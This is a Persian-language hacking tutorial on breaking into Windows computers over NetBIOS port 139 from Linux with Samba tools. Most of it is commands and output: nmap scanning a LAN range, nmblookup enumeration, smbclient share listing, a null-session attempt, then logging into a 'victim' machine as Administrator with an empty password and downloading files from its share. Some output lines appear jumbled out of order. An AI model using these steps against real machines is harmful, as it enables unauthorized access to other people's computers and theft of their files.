- Samba چیست؟
احتمالا میدونید که Netbios پرتکل
معروف مایکروسافت برای ارتباط ویندوز ها با هم و احتمالا Share کردن پرینتر یا
فایله. همچنین وقتی که بحث نفوذ به Client و بر بعضی مواقع Server ها پیش میاد،
Netbios یکی از اولین انتخاب هاست. ما در این مقاله سعی میکنیم از این ضعف سیستم
عاملهای مایکروسافت سوءاستفاده کنیم.
سیستم عاملهای بر پاییه یونیکس مثل لینوکس
برای Share کردن فایلها و پرینتر ها از طریق Netbios از پرتکل Smb/Cifs که توسط
برنامه Samba باز میشه استفاده میکنن و از این طریق لینوکس میتونه Share های
کامپیوتر های ویندوز رو Mount کنه. (اگه کاربر لینوکس هستید، نمیتونید روشهایی که
در درس قبلی برای ویندوز ذکر شده استفاده کنید، بلکه باید از Samba بهره گیرید. اما
طرف مقابل که قرار است هک بشه، سیستمعاملش رو فرض میکنیم که ویندوزه. پس ما
میخوایم با لینوکس یک سیستمعامل ویندوز را که ۱۳۹ باز داره، هک کنیم) بی شک
Netbios عمومی ترین مشکل امنیتی ویندوزه که استفاده ازش چندان مشکل نیست.
خب !
همون طور که گفتم ما برای این کار از Samba استفاده میکنیم. من اینجا چیزی در مورد
Samba نمینویسم و بنا کار رو بر این میگذارم که تا حدودی میتونید با Samba کار
کنید . اگر احتمالا مشکلی دارید میتونید به Samba.org سر بزنید و در Documention ها
دنبال راهنما باشید :) به طور کل اگر نمیدونید چطور از Samba استفاده کنید بهتره که
کاری با کامپیوتر های مردم نداشته باشید ! :)
- چگونه
با پورت ۱۳۹ صحبت کنیم؟
۱- اولین قدم پیدا کردن کامپیوتریه که پرت
139 و 137 که پرت Netbios هست رو باز کرده باشه. برای اینکار از Nmap استفاده
میکنیم. Nmap معمولا رو همه Description های فعلی پیدا میشه. میخوام به کمک Nmap
تست کنم که از ip شماره 192.168.3.50 تا 192.168.3.1 کدامها پورت ۱۳۹ باز دارند.
برای این کار مینویسم:
# nmap -sS -O 192.168.3.1-50 -p 139و جواب میشنوم:
st 1 open and 1 closed TCP port Interesting ports on (192.168.3.2): Port State Service 139/tcp open netbios-ssn Remote OS guesses: Windows Millennium Edition (Me), Win 2000,باید اینو بهتون بگم که من دارم این کار رو روی Lan انجام میدم و همه Ip ها Static هستند. ولی خب کار رو جوری در نظر میگیرم که گویا نمیدونم چه Host های اینجا وجود دارن :) 192.168.3.1 یک SuSE 8 هست که کار رو از طریقش انجام میدیم و 192.168.3.2 یک win2kpro sp2 هست که قربانیه و البته FireWall نداره :) من اینجا از آیپی های کلاس C استفاده میکنم ممکنه وضع شما تو اینترنت فرق کنه، ولی خب نحوه کار تغییر نمیکنه. حالا هدف رو پیدا کردیم، هدف ما 192.168.3.2 هست .
or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3
# nmblookup –A 192.168.3.2و جواب میگیرم:
Looking up status of 192.168.3.2 ARMINLAPTOP <00> - B < ACTIVE> WORKGROUP <00> - < GROUP> B < ACTIVE> ARMINLAPTOP <03> - B < ACTIVE> ARMINLAPTOP <20> - B < ACTIVE> WORKGROUP <1e> - < GROUP> B < ACTIVE> ADMINISTRATOR <03> - B < ACTIVE> WORKGROUP <1d> - B < ACTIVE> ..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>همه چیز مشخصه نه ؟ اسم کامپیوتر ARMINLAPTOP , گروه کامپیوتر WORKGROUP و کاربر فعال Administrator هست :)
# smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2نتیجه دستور به صورت زیر است:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- IPC$ IPC Remote IPC D$ Disk Default share ADMIN$ Disk Remote Admin C$ Disk Default share Armin Disk Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOPخب میبینید ؟ :) هر دو پارتیشن ARMINLAPTOP در اختیار شماست ! :) همچنین کامپیوتر هایی که باهاش در ارتباط هستند رو هم میبینیم. در این مثال ملاحظه میفرمایید که Armin به عنوان Disk بهاشتراک گذاشته شده. خب قبل از اینکه بریم سراغ بقیه کار یک بار هم Anonymous رو امتحان میکنیم ( یه چیزی مثل Null Session ):
# smbclient -LARMINLAPTOP -I 192.168.3.2و جواب:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Anonymous login successful Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- Error returning browse list: NT_STATUS_ACCESS_DENIED Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOPخب باز هم یه اطلاعاتی پیدا میکنیم ! :) با اینکه فایلهای Share شده رو نمیبینیم، به هر صورت از هیچی بهتره ! شاید یه جای دیگه به درد بخوره !
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2و جواب میشنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: session setup failed: NT_STATUS_LOGON_FAILUREخب ! :) Share توسط Password محافظت میشه ! :) کار زیادی نمیتونیم انجام بدیم. مثلا میتونیم همین Null پسورد رو امتحان کنم، ولی خب اگر با Win9x طرف باشیم کاری نمیشه کرد . حالا رو ویندوز 2000 به بالا کار میکنیم. روی اینکه کاربر ناشی باشه و پسورد Administrator رو خالی گذاشته باشه خیلی حساب کردیم :
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministratorو جواب میشنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] smb: \>این </: smb مثل خط فرمان میمونه و میتونین دستورات رو تایپ کنید براش. کار تمومه! هر کاری که دوست داشته باشین میتونین با این راه رو هر Share ای انجام بدید :) مثلا مینویسم:
smb: \> lsو جواب میشنوم:
. DA 0 Sat Feb 8 05:34:11 2003 .. DA 0 Sat Feb 8 05:34:11 2003 Blcorp D 0 Sat Feb 8 03:05:51 2003 47943 blocks of size 65536. 8261 blocks availableو ادامه میدم به صورت زیر:
smb: \> cd Blcorp smb: \Blcorp\> ls . D 0 Sat Feb 8 03:05:51 2003 .. D 0 Sat Feb 8 03:05:51 2003 WLTrial.exe A 2321412 Mon Apr 29 14:18:58 2002 47943 blocks of size 65536. 8261 blocks available smb: \Blcorp\> get WLTrial.exe getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ... smb: \Blcorp\>شما میتونید از دستور Pull برای فرستادن فایل و get برای گرفتن فایل استفاده کنید :) فایلها گرفته شده در دایرکتوری فعلی شما ذخیره میشوند . قسمت امیدوار کننده کار اینه که خیلی از مردم از ویندوز استفاده میکنن و اکثرشون حتی نمیدونن که همه فایل سیستم هاشون بدون پسورد به راحتی قابل دسترسه. خب ما هم اینهارو یاد نمیگیریم که دور دنیا بچرخیم و فایلهای مردم رو پاک کنیم !
C:\>nbtstat -A 192.168.3.1 Local Area Connection 2: Node IpAddress: [192.168.3.2] Scope Id: [] Host not found- یک نفوذ بدون مشکل جدی چقدر طول میکشه ؟